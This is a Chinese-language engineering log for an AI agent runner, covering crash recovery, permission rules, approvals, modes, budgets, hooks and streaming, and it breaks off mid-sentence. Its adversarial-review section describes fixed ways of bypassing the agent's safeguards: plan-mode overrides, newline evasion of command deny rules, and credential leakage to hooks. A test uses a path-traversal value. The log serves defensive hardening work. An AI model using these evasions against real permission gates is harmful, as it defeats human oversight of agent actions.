封闭注册表,四变体一次画全 +(INPUT@S4 / APPROVAL@S3 / TASKS@S6 / TIMER@S6),每行:可产生 +stage、可中断性、中断决议名(approval → `denied_by_interrupt`,3.5 +语义预埋)、非中断决议源。`CanProduce(kind, stage)` 供未来生产方守门 +(S2 全部不可产生)。`ResolveWaitingOnInterrupt`:interrupt 先 journal +(`InputReceived{source: interrupt}`)再 `WaitingResolved{按表决议}`; +未知 kind 响亮报错。decide() 加 `doWait` 守卫:parked 状态下 drive +拒绝继续(S3/S4 才有 resolver),resume 不会越过等待乱跑。 + +**验证**:表驱动覆盖每格(合成 WaitingEntered);跨进程存活(S2 出口 +标准的合成版:journal → close → reopen → fold 仍 parked → decide= +doWait);non-waiting no-op;interrupt 不进 conversation。 + +**Decisions**: +- interrupt 是控制输入不是会话内容:fold 对 `source=="interrupt"` 的 + InputReceived 不生成 user message(journal-inputs-first 仍满足)。 +- 四 kind 目前全部 Interruptible=true;表结构保留 false 的表达力 + (S6 若有不可中断等待再启用)。 + +## S2.15 in-doubt — DONE + +Resume 在 timer 扫和 drive 之前查 in-flight 集合(2.4 的钩子 3 兑现): +非 idempotent 的 Started-无终态 → 返回 `InDoubtError`(列出 +activity_id/name/attempt,"refusing to re-run"),**不重跑**; +idempotent(read 类、LLM)→ 不算 in-doubt,decide() 自然重跑。S3 +的 per-tool-class 决议政策来之前,人用 `agentrunner events` 检查后 +自行处置。 + +**验证**:真子进程 `point:after_exec_before_journal:2` kill(bash 已 +写 marker,终态未落盘)→ resume 拿到 InDoubtError、marker 恰一行 +(重跑会变两行);合成 idempotent in-flight(read_file Started 无 +终态)→ resume 重跑、结果落盘、in-flight 排干、2 turns 完成。 + +**Decisions**: +- crash harness 扩展:`point:[:]` 支持命中计数(该点在 + LLM 与 tool 活动都会经过,第 1 次命中是 llm-t1)——加性扩展, + crash 包测试钉住。 +- idempotent 重跑时 attempt 从 1 重新计(旧 Started 的 map 项被新 + Started 覆盖,终态后排干)——记为已知小瑕疵,不影响正确性。 + +## S2.16 run 收尾 epilogue 骨架 — DONE + +`agent/epilogue.go`:固定序列 `quiesce → auto_publish → barrier → +RunEnded`(钩子 2 落位)。三个 slot S2 皆 no-op(quiesce 待 S6 并行 +任务用 Activities sub-state 填;auto_publish/barrier 是 S7 预留位); +**此后所有 run 结束行为必须挂 slot,不得绕序列**。doEnd 与 abort +两条终态路径都走 `runEpilogue`:正常结束 hook 报错即中止(终态不落); +abort 路径 best-effort 硬推到底(能落 run_ended 就落)。 +`before_run_end` 注入点收进 epilogue(barrier 之后、终态之前)。 + +**验证**:hook 顺序钉死;正常结束遇 hook 错误不写终态;best-effort +穿透错误仍写终态;三种 reason(completed/max_turns/error|canceled) +共用同一路径(既有 loop 测试覆盖)。 + +**Decisions**: +- epilogueSequence 为包级 var,测试以替换+恢复方式插桩(slot 体 + 可换、序不可变的机械保证)。 + +## S2.17a CLI 收口 — DONE + +`agentrunner resume `:从 run_started 里 journal +的 **spec JSON + workspace_root** 重建 Loop(无需原 spec 文件; +RunStarted 加性扩展两字段),provider 走 defaultProviderFactory; +退出码语义同 run。`agentrunner sessions list`:mtime 倒序表格 +(SESSION/STATUS/TURNS),status 来自 fold(waiting 显示 +`waiting:`)。`after_journal_input` 命名点补上调用位 +(IngestInput append 之后——2.6 注册时欠的 call site)。 + +**验证**:CLI 级真子进程 crash(`after:turn_started:2`)→ CLI resume +(唯一前缀)→ 2 turns 完成、文件修好、sessions list 显示 ended; +未知 session exit 2;空列表友好输出。 + +**Decisions**: +- spec 全文进 RunStarted(而非只记路径):resume 不依赖 spec 文件 + 未被改动/移动;prototype 无隐私顾虑(spec 不含凭据,系统约定)。 +- 旧 session(无 spec 字段)resume 明确报错,不猜。 + +## S2.17b 全崩溃注入矩阵(S2 出口门)— DONE + +`TestCrashMatrix`:**10 行矩阵**,覆盖全部 4 个命名点 + 3 类计数谓词, +沿标准两 turn read+edit run 的事件序逐点 kill(真子进程 exit 137)后 +resume:每行断言 completed/2 turns/文件修好/seq 无缝隙/run_ended 收尾 +/fold ended/in-flight 空——"分毫不差";`edit-executed-unjournaled` +行断言 InDoubtError。行清单:input 落盘后(谓词+命名点两种)、llm +已执行未记账(幂等重跑)、assistant 落盘后、read 已执行未记账(幂等 +重跑)、read 结果落盘后、edit 已执行未记账(**in-doubt**)、turn 2 +边界、snapshot 写后(真 snapshot+空尾 resume)、run_end 之前(resume +零 LLM 调用直接收尾)。 + +S2 acceptance 场景包(4 个,`accept --stage 2` 全 PASS,e2e gate 扩到 +双 stage):s2-01 崩溃 resume 端到端(binary 级)、s2-02 in-doubt 上浮 +拒绝重跑(marker 恰一行)、s2-03 等待状态跨进程存活(合成 event + +sessions list 显示 waiting:approval)、s2-04 events 调试工具。 + +**S2 完成标志核对**:崩溃矩阵全绿 ✓;in-doubt 上浮 ✓;等待状态跨 +进程存活(合成 event)✓。**Stage 2 实现完成**,待出口对抗式 review。 + +--- + +## Stage 2 出口对抗式 review — 三镜头(durability / concurrency / semantics) + +三个并行 reviewer 共报 24 项;triage 后 **16 项修复**(本 commit)、 +8 项记档递延。 + +**已修复(按镜头)**: +- [D-P1] `ActivityCancelled` 后崩溃 → resume 重跑半执行命令:fold 现在 + 把取消的 tool call 解析为 `{"error":"[interrupted by user]", + partial_output}` 的 IsError 结果,decide() 不再视为 pending。 +- [D-P1] run_started 与 input_received 之间崩溃 → resume 空会话调模型: + Resume 检测无 input 且 `Run.Task` 非空时从 RunStarted 重新 ingest; + 矩阵加行 `run-started-only`(现 12 行)。 +- [D-P2] snapshot 无 fsync + 损坏 snapshot 卡死 resume:WriteSnapshot + 改 write+fsync+rename;LatestSnapshot 跳过不可读的、回退旧的; + Resume 对 snapshot 层错误降级全量 fold(snapshot 永远只是优化)。 +- [D-P2] events.jsonl 目录项无 fsync:open 时 fsync session dir。 +- [D-P2] 全量 fold 路径不查版本:Resume 现在也校验 RunStarted 里的 + sub_state_versions。 +- [C-P0] kernel bus 三方死锁(持 b.mu 阻塞投递):重写锁规则——b.mu + 只保护表,投递永不持锁;actor 循环 ctx 感知,Close 不关 channel; + Register-after-Close panic。 +- [C-P1] killGroup pid 复用:reaper 先 close(reaped) 再送 done; + killGroup 观察到 leader 已被 reap 即停止向该 pgid 发信号(打错 + 无辜进程 > 漏杀抗 TERM 孤儿)。 +- [C-P1] timer fired 路径把任意错误盖章成 retryable Timeout:仅当 + 错误源于我们的取消(isCancellation)才重分类;TimerFired append + 失败按 store 错误原样上浮并排干 run。 +- [C-P2] Append 写失败后 torn 半行被下次 append 粘连:broken latch, + 写/fsync 失败后拒绝所有后续 append,重开修复。 +- [C-P2] bash done-vs-cancel select 无偏向(完成的命令被记成 + canceled):cancel 臂先非阻塞查 done。 +- [C-P2] Fake.WaitUntil ctx 取消泄漏 waiter 项:取消时移除。 +- [S-P1] task 文本绕过 redaction(shell 展开凭据入 run_started/ + input_received/上下文/snapshot):appender 对**所有** payload 统一 + redact(assistant_message 一并覆盖)+ task 在 IngestInput 前先 scrub; + 回归测试断言凭据在全事件流无泄漏且有 marker。 +- [S-P2] events_valid 弱断言:补 ts RFC3339 解析、id==evt-、 + payload 非空、type 对照 event.Registry。 +- [S-P2] 矩阵缺 `after:activity_completed:1` 窗口:加行 + `llm-completed-unmessaged`。 +- [S-P2] resume 已结束 session 不打印结果:CLI 打印结果行,completed + → exit 0(无事可做 ≠ 失败),其余 exit 1。 +- [S-P2] s2-04 场景 `--state` 空转:补 `"reason": "completed"` 断言。 + +**记档递延(均已核实,决策如下)**: +- [D-P2] abort 对 transient error/cancel 落 run_ended 致不可 resume + (kill -9 反而可续):**接受现状**——S2 的 run 语义是单发;S4 交互 + session 引入 reopen 时统一解决。ActivityFailed 同窗口(非幂等 tool + 错误)在 S2 不可达,S3 tool 活动错误落地时必须回访(挂 S3 kickoff)。 +- [D-P2] resume 后 attempt 从 1 重计(审计口径分歧 + 重试预算跨 + restart 重置):接受,fold 无感;S3 预算需要时再从 fold 推 attempt。 +- [C-P2 latent] Run 闭包读 ds.s、LLM 活动禁配 Timeout(配了即数据 + 竞争):已加代码注释;S4 流式重构时以类型手段消除。 +- [C-P3] kernel seen 无界/crash 事件在 Close 竞态下可能丢;bus 尚无 + 生产流量,S6 服务化时回访。 +- [C-P3] 成功 bash 的后台孙进程存活(marker 只用于测试断言): + session 级进程清扫挂 S6(quiesce slot 顺带)。 +- [S-P2] LLM retryable 失败 attempt 的 usage 丢失(低报计费):挂 + S3.7b 预算结算时修(provider 需在 error 路径带出已收 usage)。 +- [S-P2] binary version 漂移 resume 不设防:**决策**——兼容契约是 + sub_state_versions,binary version 仅信息;记档即可。 +- [S-P2] record 录制器按单 delta redact(秘密跨 delta 分片可漏): + S4 流式协议重构 recorder 时合并修。 + +--- + +**Stage 2 正式关闭**(实现 + 出口 review + 修复全部落地, +`accept --stage 1/2` 全绿,崩溃矩阵 12 行全绿)。 + +## S3 kickoff refinement — DONE + +PLAN.md 新增 **S3 执行包**:包布局(pipeline/config/hook)、5 个加性 +event 类型(effect_resolved/approval_requested/approval_responded/ +mode_changed/limit_exceeded)、Effect 描述与 effect_id 方案、关卡序 +与 deny 短路/ask 聚合语义、permissions YAML 形态(首条命中,三源 +拼接序 user>project>spec,无命中按 mode 默认)、mode 跃迁表 + +exit_plan_mode 内置 tool、trust 注册表(不受信 project 的 allow +降级 ask)、budget 粗价目表与 farewell 挂点、hooks v0 协议(exit 2 += block,10s 真实 timer 豁免记档)、审批 CLI(非 TTY 走 +AGENTRUNNER_APPROVE)、恢复语义(挂起 kill → resume 重提示; +between_gate_and_resolved → in-doubt)。回访项:非幂等 tool 的 +ActivityFailed-重试窗口(S2 review 递延)。 + +下一步:S3.1 管线框架。 + +## S3.1 管线框架 — DONE + +`internal/pipeline`(forbidigo 区,纯评估无 I/O):`Effect{ID, Kind, +ToolName, Class, Args, CallID, EstTokens}`、`Gate{Name, Check} → +Decision{allow|ask|deny, reason}`、`Pipeline.Evaluate`——deny 短路 +(后续关不跑)、ask 聚合(继续评估,后续 deny 仍胜)、gate 返回 +非法 action 报错、nil pipeline = 全放行。新 event `effect_resolved +{effect_id, call_id, verdict, gate_results}`;fold:**deny 即该 call +的模型可见结果**(`denied: ` IsError 入 ToolResults—— +decide() 不会重试被拒 effect,拒后崩溃 resume 也直接跳过)。loop: +`adjudicate()` 在 LLM 与 tool 活动前统一评估并落盘(判定终结后、 +执行前);deny 的 tool 不产生任何 activity 事件,loop 继续;deny 的 +LLM 暂 hard abort(TODO 3.7c 优雅收尾)。 + +**Decisions**: +- ask 在 3.5 前**显式降级 deny**:附加 gate_result(gate: + "pipeline", reason 注明 "no approval flow yet (3.5)")——绝不静默 + 放行、也绝不无解释拒绝;3.5 落地时替换此块。 +- GateResult 类型放 event 包(pipeline 复用),event 保持叶子包。 +- LLM effect 每 turn 都落 resolution(即使空 pipeline)——事实完整 + 优先于日志体积。 + +**验证**:落盘时点单测——allow: resolution 先于 activity_started; +deny: 无 activity 事件、下一 turn 模型看到 denied 文本、run 正常完成; +ask: 降级链完整可见;llm: 每 turn 有 resolution。 + +## S3.2 in-doubt 扩展 — DONE + +新 event `effect_requested{effect_id, call_id, side_effecting}`(进 +关卡前落盘);第 6 个 fold sub-state `effects`(requested 加、 +resolved 消,SubStateVersions 加键——**旧 session 无法用新 binary +resume,版本检查按设计拒绝**,原型可接受记档);命名注入点 +`between_gate_and_resolved` 落位(Evaluate 之后、resolution 落盘 +之前)。resume 语义:pending effect 且 `side_effecting`(管线含 +hook 类关卡,`pipeline.SideEffectingGate` 接口声明)→ 并入 +InDoubtError(Effects 字段,"mid-adjudication, hooks may have run"); +纯关卡窗口 → 静默重评估(重新 adjudicate 覆盖旧 pending)。 + +**验证**:真子进程 kill 于该点(hit 2 = tool effect 窗口)× +{side-effecting → InDoubtError 含 1 个 effect;pure → resume 重评估 +2 turns 完成}。 + +**Decisions**: +- "进关卡" 需要可观测事实 → effect_requested(执行包漏列,加性 + 补充记档)。 +- side_effecting 布尔由管线静态推导(任一 gate 实现 + SideEffecting()==true),journal 进事实供 resume 决策——resume + 时的管线配置可能不同,以崩溃时刻的事实为准。 + +## S3.3 permission rules — DONE + +`pipeline.PermissionGate`:规则表(首条命中即生效——顺序即优先级) ++ 无命中按 mode 默认表(default/plan/acceptEdits/bypass × 四 class +全表);规则 = `{tool?, path?, command?, action}`,多条件合取; +path glob(`*`/`?` 不跨 `/`,`**` 跨)对 workspace 相对路径 +(先经 WS.Resolve 归一),command glob(`*` 匹配任意含空格)对 +整条命令;**越界路径无条件 deny——先于规则、先于 mode、bypass +也不豁免**(钩子 1 的关卡层复检,`src/../../etc` 表驱动钉住)。 + +**Decisions**: +- command glob 的 `*` 不带 path 语义(匹配任意字符)——"go test *" + 要能配 "go test ./..."(执行包已定,实现记档确认)。 +- 规则合取:path 条款对无 path 参数的 tool(bash)永不匹配。 +- malformed args 在关卡层按空值处理(执行层会给模型可见错误)。 +- **CLI 尚未接线 PermissionGate**:ask 在 3.5 前会降级 deny,接线会 + 打破 S1/S2 acceptance(edit 全拒);3.5 审批流落地后随 3.6 mode + 一起接入 CLI。3.3 验收 = 表驱动单测(计划原文如此)。 + +## S3.4 配置分层 + 信任 — DONE(从 S5 提前,计划原文注明) + +`internal/config`:`Settings{permissions, hooks{pre_tool, post_tool}}` +严格解析(未知键/非法 action 拒);`Merge(user, project, spec, trusted)` +——规则拼接序 user > project > spec(首条命中配合 = user 优先); +**不受信 project 的 allow 降级 ask(只收紧不放宽),hooks 整段丢弃**; +spec 永不携带 hooks(可移植内容 ≠ 工作站策略)。trust 注册表 +`trusted.yaml`(0600,realpath 存储,symlink 同判);CLI +`agentrunner trust `(幂等)。AgentSpec 加 `permissions:` 字段 +(最低优先级源)。 + +**Decisions**: +- spec 不设 hooks 字段:hooks 是本机策略,spec 是可分享内容—— + 不受信 spec 经 hooks 提权的面根本不开。 +- trust 判定用 EvalSymlinks 双向归一(注册与查询都 realpath)。 + +## S3.5 审批流 — DONE + +事件链:ask → `approval_requested{approval_id, effect_id, call_id, +gate_results, payload_ref 预留}` → `waiting_entered{approval, detail= +完整请求}` → resolver 应答(**先 journal** `approval_responded`)→ +`waiting_resolved` → `effect_resolved{allow|deny, gates+approval 关 +判定}` → 放行执行 / 拒绝渲染。`ApprovalResolver` 接口;默认 +`EnvApprovals`(AGENTRUNNER_APPROVE=always|never,缺省 **fail +closed** 拒绝——loop-mode 不悬挂);TTY 交互版在 3.10。 + +**Effects sub-state 扩展**:`{Pending, Allowed}`——resolved-allow 到 +activity 终态之间的窗口进 `Allowed`,adjudicate 先查:**已批准的 +effect 崩溃后 resume 绝不重新问一遍**(activity 终态经 call_id/ +activity_id 约定回收 Allowed 项)。3.2 的 sub-state 形态就地改 +(同 stage 内迭代,版本仍 1,无线上会话,记档)。 + +**denied-by-interrupt**:`Loop.Interrupts` 通道;等待中 interrupt → +journal input(interrupt) → approval_responded{deny, interrupt} → +waiting_resolved{denied_by_interrupt} → effect_resolved{deny, +"[interrupted by user]"} → **loop 继续**(拒绝结果模型可见)。CLI: +`signalContext()`——首个 Ctrl-C = interrupt,第二个/SIGTERM = 硬取消 +(run 与 resume 都接线)。 + +**验证**:approve 全链事实序断言 + 文件真落盘;FakeClock 挂 48h 后 +批准原地继续(S3 完成标志句);interrupt 路径(模型下一 turn 看到 +"[interrupted by user]"、run 完成、文件未写);**崩溃注入 +after:waiting_entered:1(挂起中 kill)→ resume 重新提示 → 批准 → +继续完成**(S2 出口欠的验证在此补齐,计划原文)。全部 -race 通过。 + +**Decisions**: +- resolver 在 goroutine 跑、prompt 在 drive goroutine 预构(ds 不 + 跨 goroutine——race detector 抓过一次,修法记档)。 +- resume 到 doWait(approval)复用 awaitApproval(请求 payload 存于 + Waiting.Detail,不重复 journal approval_requested)。 + +## S3.6a–d mode — DONE(+ CLI 全管线接线) + +- **3.6a 数据模型**:mode = fold sub-state(第 7 个,`mode_changed` + event 驱动,空 = default);工具面过滤 `ClassAdvertised`(plan 只 + 广告 read/wait——**双门**:面过滤 + 关卡 mode 默认,模型幻觉隐藏 + tool 也会被拒);Effect.Mode 携带活 mode(mode 可中途变,gate 构造 + 时快照不可靠)。 +- **3.6b prompt 注入**:plan mode 在 system prompt 尾部追加段 + (S4.4a 收编,计划内迁移);默认模式零注入(golden 不受扰)。 +- **3.6c 跃迁**:内置 tool `exit_plan_mode`(class wait,defs JSON); + permission gate 视之为跃迁政策(plan → Ask,非 plan → Deny); + 批准后 harness 级执行(不进 tool.Executor)+ `mode_changed{plan→ + default, cause: exit_plan_mode approved}`;跃迁规则表 + `ValidTransition`(any→bypass 仅 CLI 启动)。 +- **3.6d bypass 语义**:bypass 在 permission/budget 层全 allow,但 + hooks 关卡照跑(组合测试钉住);**越界拒绝连 bypass 也不豁免** + (3.3 已定)。 +- **CLI 接线**(3.3 递延项落地):`buildPipeline` = 三源 config 合并 + + PermissionGate;`--mode` flag;spec `mode:` 字段(校验);resume 重建 + 管线(活 mode 走 fold);不受信 project 有配置时 stderr 提示。 +- **迁移面**:CLI 级测试 spec 与 s1/s2 acceptance 场景 spec 加 + `permissions: [{action: allow}]`(关卡激活后 edit/execute 默认 ask + → env 拒);tool 注册表钉住测试 + spec golden 更新(exit_plan_mode + 入册)。 + +**验证**:过滤表全 mode×class;跃迁表 allowed/denied 双向;plan 全流程 +集成(turn 1 过滤面+注入 → exit_plan_mode 审批 → mode_changed → turn 2 +全面无注入);拒绝路径留在 plan;bypass+hooks 组合。 + +## S3.7a–d 预算 — DONE + +- **3.7a sub-state**:第 8 个 fold 命名空间 `budget`(reservations + map;settled = Run.Usage 既有口径)。`effect_resolved{allow}` 加性 + 字段 `reserved_tokens` 记入,activity 终态(Completed/Cancelled) + 经 effectIDFor 释放。 +- **3.7b 预留与结算**:LLM 按 `model.max_tokens` 预留;tool 按类价目 + (read 500 / edit 1000 / execute 2000 / wait 0);ApprovalRequested + 携带 `est_tokens`(挂起跨 crash 后批准仍能预留)。 +- **3.7c 优雅收尾**:BudgetGate deny(LLM)→ `limit_exceeded{tokens, + limit, used}` → runEpilogue(reason "limit_exceeded")——不是 error、 + 不是 crash;tool 的预算拒绝走普通 deny(模型可见,可收尾);spec + `budget: {max_total_tokens}`(0=无限)+ 校验;CLI 管线加 BudgetGate。 +- **3.7d TOCTOU 合成**:8 goroutine 经互斥串行 adjudicate(模拟 + S4.3 共享 fold 的并发裁决),reserve-then-settle 使第二个 600 token + 请求看见第一个的预留 → 恰好 1 个放行(600+600>1000 不双越)。 + S4.3 真并行落地时按计划复验。 + +**Decisions**: +- BudgetView 由 loop 从 fold 快照进 Effect(gate 保持纯函数,不持 + 状态引用)。 +- bypass mode 预算不 bind(3.6d 语义延伸,gate 内判)。 +- LLM 预算拒绝时的 farewell 消息:S3 先以 slog + limit_exceeded 事实 + + 终态 reason 呈现;面向模型的告别 turn 留 S4 流式协议一并做(记档)。 + +## S3.8 hooks v0 — DONE + +`internal/hook`:`Runner{pre_tool, post_tool}`——pre 以 JSON(effect +描述)stdin 调用,**exit 0 = observe、exit 2 = block(stderr 即模型 +可见理由)、其他 = observe + 警告**(坏 hook 不得静默否决);首个 +block 短路后续;post 收结果 JSON,stdout 汇成 `ActivityCompleted. +hook_note`(加性字段,过 redaction);10s 真实超时(hook 是外部进程, +forbidigo 区外,豁免记档)+ WaitDelay 2s 防孙进程扣住管道。 +`hook.Gate` 实现 pipeline.Gate + SideEffecting(有 pre hook 即声明) +——3.2 的 in-doubt 机制自动覆盖。executor 加 `PostRun` 接缝(成功 +执行后、终态落盘前)。CLI:hook gate 列关卡序首位(pre-hooks → +permission → budget,执行包既定序),post runner 进 Loop.Hooks。 + +**验证**:协议表驱动(observe/block/警告/首 block 短路/超时=警告); +gate 适配(llm 效应直通、无 pre hook 不声明副作用);**恢复路径不重 +跑 hook**:真 pre hook 写 marker,kill 于 between_gate_and_resolved +→ resume InDoubtError、marker 恰一行(计划的崩溃注入验证);post +note 入 journal 断言。 + +## S3.9 错误渲染表 + S3 回访项 — DONE + +`errs.RenderForModel(class, detail)`:8 类各一行的归一化模型可见 +渲染(未知类归 internal;per-provider 线上形态映射留 S4.7,计划 +原文)。`ActivityFailed` 加性字段 `final`(retry 政策耗尽的那次); +fold:**final 的 tool 失败渲染为该 call 的模型可见错误结果**(loop +继续、模型反应),同时释放预算预留;loop 的 doTool 对"已在 fold +解析的终局失败"continue 而非 abort(cancel/harness 失败仍 abort)。 + +**S3 回访项关账**:non-final 失败**保留 in-flight 项**——重试 +backoff 窗口崩溃时,非幂等活动经 2.15 in-doubt 上浮而非静默重跑 +(此前 Failed 一律移出 in-flight,该窗口是盲区)。 + +**验证**:渲染表每行一测(含未知类);finality fold 测试(non-final +保留/final 渲染+排干);executor 级连续性(终局失败 → call 解析 → +decide 不再重试)。 + +**Decisions**: +- 渲染在 fold 内调用(确定性纯函数,与 fold 契约相容)——渲染表 + 变更会改变历史 fold 结果,记为已知耦合,S4.7 重构渲染层时回访。 + +## S3.10 CLI 审批 UI + S3 acceptance 场景包 — DONE + +`ttyApprovals`:展示 tool/args/全 gate 判定,读 `y`/`n [reason]`; +读取在 goroutine 与 ctx 竞速(终端读不可取消,进程退出时回收); +**真终端检测用 term.IsTerminal**(初版用 ModeCharDevice,acceptance +跑挂——/dev/null 也是字符设备,修正记档);非 TTY 回退 fail-closed +EnvApprovals。run/resume 双接线(提示走 stderr,stdout 属 run 输出)。 +手动 TTY 验收 DEFERRED(出口人工检查点,与 S1 TUI 同批)。 + +`accept --stage 3` 三场景全 PASS,e2e gate 扩三 stage: +- s3-01 plan mode 全流程(完成标志句 1) +- s3-02 审批拒绝渲染+run 继续(3.5/3.10 行为) +- s3-03 不受信 hooks 不执行、trust 后执行(完成标志句 4) + +**0.6 偏离记档**:完成标志句 2(FakeClock 挂 48h)与句 3(合成 +TOCTOU)本质是合成时间/合成并发,无法经 binary 场景表达,映射到 +命名 go test(TestApprovalHangsTwoDaysThenApproved / +TestBudgetTOCTOUSyntheticConcurrency),作为"合成场景"记入台账。 + +**Stage 3 实现完成**,待出口对抗式 review。 + +--- + +## Stage 3 出口对抗式 review — 三镜头(correctness / security×2 / contract) + +四份报告(security 跑了两份,高度一致)。triage 后 **13 项修复**、 +若干记档。 + +**已修复**: +- [C-P1] 挂起审批 + 真 hook 管线崩溃后不可 resume(pending side-effecting + effect 被误判 in-doubt):`AwaitingApprovalEffect` + Decisions 排除—— + 到达 WAITING_APPROVAL 证明所有关卡(含 hook)已跑完,不算 in-doubt。 + 既有测试用无 hook 管线掩盖了此洞,新增 `TestApprovalWithHooksSurvivesCrash`。 +- [C-P1] exit_plan_mode 跃迁非原子(ActivityCompleted 与 ModeChanged 之间 + 崩溃 → 卡在 plan):**跃迁改由 fold 从 exit_plan_mode 自身的 + ActivityCompleted 派生**(单事件原子),删除 loop 的独立 ModeChanged 发射 + (startup mode 仍用 ModeChanged)。 +- [C-P2] 审批答复不跨 WaitingResolved→EffectResolved 崩溃(会重问): + **ApprovalResponded 折叠进 Effects.Decisions 并清 Waiting**(答复即权威), + adjudicate 见 Decisions 直接从答复解析不重问;`TestApprovalDecisionDurableAcrossResolveGap` + (resolver 被调用即 fail)。 +- [C-P2] exit_plan_mode 标非幂等致崩溃后伪 in-doubt:toolIdempotent 纳入 + ClassWait(无副作用 stub 重跑安全)。 +- [S-HIGH] plan mode 的 edit/execute 硬拒可被 allow 规则绕过:新 + `hardFloor` + `FloorGate`——工作区越界 + plan 硬拒在**规则表与 mode + 默认之前**判定,任何规则不可覆盖;FloorGate 列关卡序首位(hooks 之前), + 被拒 effect 不再触发副作用 hook。 +- [S-HIGH] spec 绕过 trust:**禁止 spec 设 mode: bypass**(bypass 是关卡 + 杀手开关,仅 --mode 可选)。spec 权限规则**不**收紧(信任非对称记档: + project settings.yaml 是静默 repo 内容→收紧;spec 由用户显式命名→放行)。 +- [S-P1/HIGH] command deny 规则换行绕过:globMatch 加 `(?s)`(`.` 跨行), + path glob 加 `(?i)`(大小写不敏感文件系统);`TestCommandDenyResistsNewlineEvasion`。 +- [S-P2] hook 前于 permission 致被拒 effect 仍跑 hook:FloorGate 硬拒 + 短路(见上)。 +- [S-P2] hook 拿到凭据 env:`scrubbedEnv` 剥离 `*_API_KEY/_TOKEN/_SECRET`。 +- [S-P2] hook 无进程组:Setpgid + 超时 kill -pgid(对齐 bash)。 +- [S-P2/LOW] 未知 tool class 失败开放:modeDefault 未知 class 一律 fail + closed(plan→deny,其余→ask);`TestUnknownClassFailsClosed`。 +- [S-LOW] effect-id 命名空间(call_id 模型可控可撞 eff-llm-t):tool + effect 改 `eff-tool-`,与 LLM 空间不相交。 +- [T-P2] s3-01/s3-02 场景弱于标题:scripted 加 `tools_exclude`,plan-mode + 场景断言 turn1 排除 edit_file/含 exit_plan_mode、turn2 含 edit_file; + approval-deny 场景断言 turn2 last_message_contains "denied"。 +- [T-P2] PLAN.md sub-state 文档漂移:§2.4 与 S3 执行包更新为 + effects/mode/budget 三个(勘误"两键")。 + +**记档裁定(不改)**: +- [T] S2 struct 加 omitempty 字段(HookNote/Final):加性、round-trip 安全, + 沿用 S2.17(RunStarted.Spec)先例,判"只加不改"允许。 +- [T] 完成标志句 2(48h)/句 3(TOCTOU)映射命名 go-test 而非 binary + 场景:合成时间/并发无法 binary 表达,§0.6 carve-out 批准(已记 S3.10)。 +- [S] AGENTRUNNER_APPROVE=always 抵消不受信收紧:loop-mode footgun, + 文档级——auto-approve 是显式选择。 +- [S] hook stdin args 不 redact:hook 是受信代码(仅受信 project/user + hook 执行),需真实 args 才能审计/拦截;与 journal redaction 的非对称 + 是有意的(env 凭据已剥离)。 + +**Stage 3 正式关闭**。下一步:S4 kickoff refinement。 + +## S4 kickoff refinement — DONE + +PLAN.md 新增 **S4 执行包**:细化交互与上下文的 8 模块序列。关键决定: +- 包布局:`internal/protocol`(输出事件流)、`agent/assembly.go`(4a 抽出)、 + `provider/anthropic`(4.7)。 +- 加性 event:`TurnDiscarded`(delta 流出后 retry 的前端重开流信号)、 + `ContextCompacted`(5)、`MalformedToolCall`(6)。 +- **输出 protocol** 区别于 provider 输入侧:面向 surface 的 StreamEvent + (text_delta/tool_call/.../error/discard),用户可见错误(protocol)与 + 模型可见错误(errs.RenderForModel)分离。 +- ephemeral 通道兑现:2.10 的 Activity.Progress 在 4.1 接线,delta 不落 + journal(TurnDiscarded 契约)。 +- 并行 tool call(4.3):同 turn 多 allow call 并发、到达序落盘、assembly + 原序重排;**appendE 串行化是核心不变量**(fold 单线程);一个 turn 内 + 多 ask 顺序审批;3.7d TOCTOU 真并发复验。 +- interrupt(4.2)复用 Loop.Interrupts + 500ms 交互取消宽限(区别于 + timeout 取消的 5s 宽限)。 +- caching(4c):budget 结算修正为 input+output-cache_read 真实计费口径。 +- 顺序微调预授权:4a 可提前到 4.1 前(streaming 依赖独立 assembly 更干净)。 + +回访项:AGENTRUNNER_APPROVE footgun(4.2 后复审)、recorder 单-delta +redact 跨分片泄漏(4.1 流式重构 recorder 时合并修)。 + +下一步:S4.1(先做 4a assembly 抽取)。 + +## S4.4a assembly 组件 + 拼装序 — DONE(按预授权提前到 4.1 前) + +`agent/assembly.go`:`Assemble(state, spec, toolDefs, turn) → +CompleteRequest`——fold → 请求的唯一模块。固定拼装序:system prompt → +mode 注入(3.6b 收编)→ conversation transcript;工具面按活 mode 过滤 +(3.6a)。`assembleMessages`/`advertisedTools` 从 loop.go/mode.go 迁入。 +loop 的 doLLM 改调 `Assemble()`。**request_assembly.golden 一字节未改 +通过**——纯抽取,行为保持。 + +**Decisions**: +- Assemble 为包级函数(非方法):assembly 是 fold→wire 的纯变换,不持 + Loop 状态,便于 4c 的 byte-stability 独立测试。 +- env 块(session start 冻结)留 4c;S4.4a 先落拼装序骨架。 + +## S4.1 协议 v1 + streaming — DONE + +`internal/protocol`:**输出事件流**(面向 surface,区别于 provider 输入 +侧 StreamEvent):`Event{kind, turn, text, tool, ...}`,kind ∈ run_start/ +turn_start/text_delta/message/tool_call/tool_result/approval_request/ +mode_changed/discard/error/run_end;`JSONSink`(每行一 JSON,并发安全) ++ `Discard`。`provider.CollectTurnStreaming(stream, onDelta)`:边收边回调 +text delta。loop 接线:doLLM 经 onDelta 发 text_delta(**ephemeral,不落 +journal**——成功后 assistant_message 才落,TurnDiscarded 契约);turn/ +tool/run 各 emit;旧 `agent.Sink` 接口删除,统一 `Loop.Out protocol.Sink`。 +CLI:`textRenderer`(delta 内联流式渲染)+ `--json`(JSONSink);旧 +textSink/compactJSON 删除。 + +**TurnDiscarded event(加性)**:LLM 已流出 delta 后 retry → 经 Activity +的 `DiscardOnRetry`(从 executor 字段移到 per-activity)journal +`turn_discarded` + emit discard(前端重开流信号);fold 无半成品可撤 +(assistant_message 只在成功后落)。 + +**回访项关账**:recorder 单-delta redact 跨分片泄漏(S2 review 递延)—— +Complete 现**累积连续 text delta 再整体 redact**,密钥跨 delta 边界仍 +被 scrub;`TestRecorderRedactsCrossDeltaSecret`。 + +**验证**:JSONSink 行编码/sparse;流式 delta 序(2 delta→message); +TurnDiscarded 全链(partial→discard→final,final 消息干净、turn_discarded +入日志);cross-delta redaction。用户可见错误(protocol error)与模型 +可见错误(errs.RenderForModel)分离——protocol 注释钉死。 + +**Decisions**: +- text delta 用回调而非 channel(executor 单线程,回调最简);Progress + 字段(2.10 预留)暂未用——delta 走 CollectTurnStreaming 更直接, + Progress 留 S6 task tail。 +- TurnDiscarded retry 测试用 Real clock(FakeClock 会阻塞 backoff)。 + +## S4.2 steering/interrupt — DONE + +**interrupt 语义分层**(CLI signalContext 改 send-once 缓冲):首个 Ctrl-C += **steering 